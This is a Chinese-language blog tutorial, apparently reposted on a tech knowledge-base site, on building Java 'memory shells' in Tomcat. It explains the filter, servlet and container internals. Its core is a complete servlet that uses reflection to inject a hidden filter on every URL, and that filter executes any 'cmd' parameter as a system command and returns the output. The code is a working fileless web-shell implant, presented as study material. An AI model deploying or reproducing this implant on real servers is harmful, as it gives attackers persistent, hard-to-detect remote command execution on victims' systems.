IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> java内存马学习与理解 -> 正文阅读

[Java知识库]java内存马学习与理解

1. 前置知识

1.1 java web 核心组件

首先我们得知道,java网站都一定会有一个web容器。listener、filter、servlet都是在web.xml中配置的。

参考:web.xml配置详解

listener

本质是一个java类。

作用是监听Application、Session和Request三大对象创建或者删除,然后根据监听的结果来执行提前编写的代码。

可以简单的理解成当发生某个行为的时候,触发某段代码的执行。

filter

本质是一个java类。是由容器进行调度和执行的。

接收来自客户端的web请求并对其进行必要的修改和内容判断。
可以简单的理解成对接收到的请求进行格式化,修改成后面servlet所需要的数据格式。

假设客户端发过来的数据是“姓名=张三”。某个filter的作用可能就是将“姓名=张三“改成”姓名=张三ZHANGSAN“,然后发送给处理数据的servlet。

如果没有filter存在,那么请求将会直接发给servlet。可以个servlet在web.xml中配置多个filter。当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。

但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象是通过 Filter.doFilter 方法的参数传递进来的,是根据web.xml中注册的所有filter来生成的。

只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。

如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。

filter的生命周期

与servlet一样,Filter的创建和销毁也由web容器负责。 web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。

Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。销毁函数会在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

filter链

当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain,然后调用filterchain中其他filter的filter.doFilter方法。

servlet

本质是一个java类。是由容器进行调度和执行的。

是处理数据的模块。里面有一个函数services,这个函数是servlet的核心代码,实现servlet的核心功能。

所有servlet在第一次被访问的时候会创建,直到服务器关闭的时候才会被销毁。

2. tomcat

tomcat本质是web服务器和servlet容器的集合体,与客户端交互的流程大致如下:

在这里插入图片描述
在这里插入图片描述

tomcat容器要完成的任务很简单,就是要能够提供一个接口让其它程序能够访问到 Service 集合,同时要维护所包含的所有 Service 的生命周期,包括如何初始化、如何结束服务、如何找到别人要访问它的 Service。还有一些次要的任务,如记录Service运行日志,维护Session等等。

2.1 核心组件

在这里插入图片描述
在这里插入图片描述

1. connector组件

在这里插入图片描述

tomcat通过connecter组件实现与客户端的网络连接,通过container组件实现数据与servlet的交互。一个tomcat中可以有很多个service,其中默认的service叫做catalina。一个service可以有多个connector,但只能有一个container。每个service支持很多协议,例如http1或http2,不同的协议对应不同的connector。客户端通过不同的协议请求服务,其实就是将请求发送给对应协议的connector。

2. container组件

在这里插入图片描述

  • Engine(引擎)
    负责处理来自相关联的service的所有请求,处理后,将结果返回给service,而connector是作为service与engine的中间媒介出现的。Engine的细节会在$CATALINA_HOME/conf/server.xml中进行配置。
    一个engine下可以配置一个默认主机,每个虚拟主机都有一个域名。当engine获得一个请求时,它把该请求匹配到虚拟主机(host)上,然后把请求交给该主机来处理。
    Engine有一个默认主机,当请求无法匹配到任何一个虚拟主机时,将交给默认host来处理。Engine以线程的方式启动Host。

  • Host
    代表一个虚拟主机,每个虚拟主机和某个网络域名(Domain Name)相匹配,host的细节会在$CATALINA_HOME/conf/server.xml中进行配置。
    每个虚拟主机下都可以部署一个或多个web应用,每个web应用对应于一个context,有一个context path。
    当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==””的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

  • Context
    一个Context对应于一个Web应用,Context的细节会在$CATALINA_HOME/conf/server.xml中进行配置,当tomcat版本大于5.5时,就会在单独的$CATALINA_HOME/conf/context.xml中进行配置。一个Web应用由一个或者多个Servlet组成Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml$ WEBAPP_HOME/WEB-INF/web.xml载入Servlet类。当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类,如果找到,则执行该类,获得请求的回应,并返回。

  • Wrapper
    Wrapper 代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
    Wrapper 的实现类是 StandardWrapper,StandardWrapper 还实现了拥有一个 Servlet 初始化信息的 ServletConfig,由此看出 StandardWrapper 将直接和 Servlet 的各种信息打交道。

在这里插入图片描述

StandardContext 实现了类加载器、session管理、wrapper管理等模块,在启动时顺序启动这些模块。在请求进入时,由这些模块互相合作处理请求。

3. java反射

通过java反射机制可以修改已经实例化的对象的参数。

import sun.font.TrueTypeFont;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Apple {

    private int price=2;
    private int test=11;

    public int getPrice() {
        return price;
    }

    public void setPrice(int price) {
        this.price = price;
    }

    public static void main(String[] args) throws Exception{
        //正常的调用
        System.out.println("创建apple1对象");
        Apple apple1 = new Apple();
        System.out.println("利用内置函数将私有变量private的值设置为5");
        apple1.setPrice(5);
        System.out.println("通过apple1对象的内置函数读取price的值为:" + apple1.getPrice());


        Field b = apple1.getClass().getDeclaredField("price");
        Field c = apple1.getClass().getDeclaredField("test");
        System.out.println("通过反射机制修改apple1对象的私有变量price的值为3");
        b.set(apple1,3);
        System.out.println("修改后直接读取price的值为"+b.get(apple1));
        System.out.println("通过apple1对象的内置函数读取price的值为:" + apple1.getPrice());
        System.out.println("直接读取私有变量test的值为"+c.get(apple1));

        System.out.println("综上,通过反射机制修改了已经实例化的对象的值。");



    }
}

在这里插入图片描述

4. 其他知识

  1. web应用启动的时候,会产生ServletContext对象,每个web应用都会有自己的ServletContext对象,123.123.123.123/user是一个web应用,123.123.123.123/news也是一个web对象。

  2. 使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的对象,任何人都可以使用request.getServletContext()获取servletcontext。
    在这里插入图片描述

  3. ServletContext其实是一个接口,这个接口的实现是ApplicationContext类。StandardContext对象其实也就是ApplicationContext对象。

  4. ApplicationContext中有一个私有变量叫做StandardContext,StandardContext类的对象可以动态创建servlet和servlet的映射,也可以通过修改参数来添加filter到filterchain。

  5. 如果能通过反射调用StandardContext对象中的函数,那么就能制造filter与servlet类型的内存吗。

2. 实现tomcat内存马

2.1 filter型

一句话总结就是想办法在内存中写入一个恶意filter并与某个url绑定。
在这里插入图片描述
request进入container后会与engine、host、context、wrapper交互,其实是与他们中的的pipeline-valve进行交互。等engine、host、context、wrapper中每一个valve都执行完的时候,也就是当wrapper最后一个valve,StandarWrapperValve执行结束的时候,会生成一个filterchain。接着filterchain中的filter会依次执行自己的dofilter函数。如果我们可以在filterchain中加入一个恶意的filter即可实现命令执行。

filterchain是怎么来的

filterChain是ApplicationFilterFactory.createFilterChain函数的返回值。
在这里插入图片描述

如何控制filterchain的内容

进入ApplicationFilterFactory.createFilterChain函数我们发现所有的filter被放在了一个名为filterMaps的数组中,StandardContext.findFilterMaps()函数会返回这个数组,这个数组filtermaps中存储的是url跟filter的映射关系

filterMaps是StandardContext对象中的数据

在这里插入图片描述
在这里插入图片描述

并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,filterConfigs是StandardContext对象中的数据,是否存在对应filter的实例,当实例不为空时通过filterchain.addfilter(Filterconfig)函数来将FilterConfig对应的filter添加到filterchain中。

在这里插入图片描述

filterConfigs
成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

filterDefs
成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps中的FilterMap则记录了不同filter与UrlPattern的映射关系

所以要添加filter的话要满足以下条件:

  1. filtermap中url与filter互相匹配,也就意味着需要修改StandardContext中fitermap的值。
  2. filterconfig中必须存在对应的filter实例,也就意味着需要修改StandardContext中filterconfig的值。
  3. filterconfig包含filterdef这个参数,也就意味着想修改filterconfig也就需要filterdef参数。

具体修改filterchain值的方法

代码如下

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = request.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true); //忽略权限控制检查,获取很高的代码执行权限
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter); //设置filter
                o.setFilterName(FilterName); //设置filter的名字
                o.setFilterClass(filter.getClass().getName()); //设置filter的类
                standardContext.addFilterDef(o); //在standardContext中加一个FilterDef
                
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); //生成filtermap的实例

                o1.addURLPattern("/*"); // 设置匹配的url路径,这里是任意路径
                o1.setFilterName(FilterName); //设置路径匹配的filter
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1); //添加一个filtermap到standardContext中
                

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);//生成ApplicationFilterConfig类型的值,等待被添加到filterconfig列表中,filterconfig中的内容都是ApplicationFilterConfig格式的
                filterConfigs.put(FilterName,filterConfig); //将新的filterconfig添加到filterconfig列表里面。
                response.getWriter().write("Success");


            }
        } catch (Exception e) {
            e.printStackTrace();
        }




    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

在这里插入图片描述

在这里插入图片描述

2.2 servlet型

一句话就是想办法在内存中写入一个恶意servlet并与某个url绑定。

逻辑:

  1. 使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的实例,任何用户都可以使用request.getServletContext()函数获取到ServletContext。

  2. ApplicationContextFacade类中封装有ApplicationContext类的私有对象,这个私有对象名为context。

  3. ApplicationContext中有StandardContext类的私有对象,名为context。

  4. StandardContext类的对象可以动态创建servlet和servlet的映射。

  5. 综上,任意用户都可以通过反射机制调用StandardContext类的对象来动态创建servlet和servlet的映射。

代码逻辑

获取StandardContext 以及创建Servlet包装类。

在这里插入图片描述
添加Servlet到StandardContext并初始化Servlet。

在这里插入图片描述

3. 参考文章

一文看懂内存马
浅谈哥斯拉内存马
Java Filter型内存马的学习与实践
Java安全之基于Tomcat实现内存马
tomcat host 及context配置
详解tomcat配置文件server.xml
web.xml配置详解

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2021-11-09 19:20:29  更:2021-11-09 19:22:21 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 0:19:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码